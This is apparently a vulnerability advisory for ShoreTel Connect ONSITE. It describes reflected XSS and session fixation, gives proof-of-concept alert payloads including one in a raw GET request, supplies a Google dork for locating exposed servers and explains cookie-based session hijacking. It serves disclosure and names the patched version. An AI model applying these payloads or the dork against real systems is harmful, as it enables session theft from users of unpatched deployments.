ShoreTel Connect ONSITE Cross Site Scripting / Session Fixation

ShoreTel Connect ONSITE versions prior to 19.49.1500.0 suffer from cross site scripting and session fixation vulnerabilities.

MD5 | b932ff88a665f3b5cddd128f7f22e77d

# Exploit Title: Shoretel Connect Multiple Vulnerability
# Google Dork: inurl:/signin.php?ret=
# Date: 14/06/2017
# Author: Ramikan
# Vendor Homepage:
# Software Link:
# Version: Tested on 18.62.2000.0, 19.45.5101.0, 19.47.9000.0, 19.48.8400.0 can be affected on other versions.
# Tested on: Mozila Firefox 53.0.3 (32 bit) Browser
# CVE :CVE-2019-9591, CVE-2019-9592, CVE-2019-9593
# Category:Web Apps

Vulnerability: Reflected XSS and Session Fixation
Vendor Web site:
Version tested:18.62.2000.0, Version 19.45.1602.0, 19.45.5101.0, 19.47.9000.0, 19.48.8400.0
Google dork: inurl:/signin.php?ret=
Solution: Update to 19.49.1500.0

Vulnerability 1:Refelected XSS & Form Action Hijacking

Affected URL:


Affected Parameter: brandUrl

Vulnerability 2: Reflected XSS

Affected URL:

/index.php/" onmouseover%3dalert(document.cookie) style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b

Affected Parameter: url
Affected Version 19.45.1602.0

Vulnerability 3: Reflected XSS


Affected Parameter: page
Affected Version:18.82.2000.0

GET /site/?page=jtqv8"><script>alert(1)</script>bi14e HTTP/1.1
Host: hostnamem
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=2229e3450f16fcfb2531e2b9d01b9fec; chkcookie=1508247199505
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Vulnerability 4: Session Hijacking

By exploiting the above XSS vulnerability, the attacker can obtain the valid session cookies of a authenticated user and hijack the session.

PHPSESSID, chkcookie both cookies are insecure.

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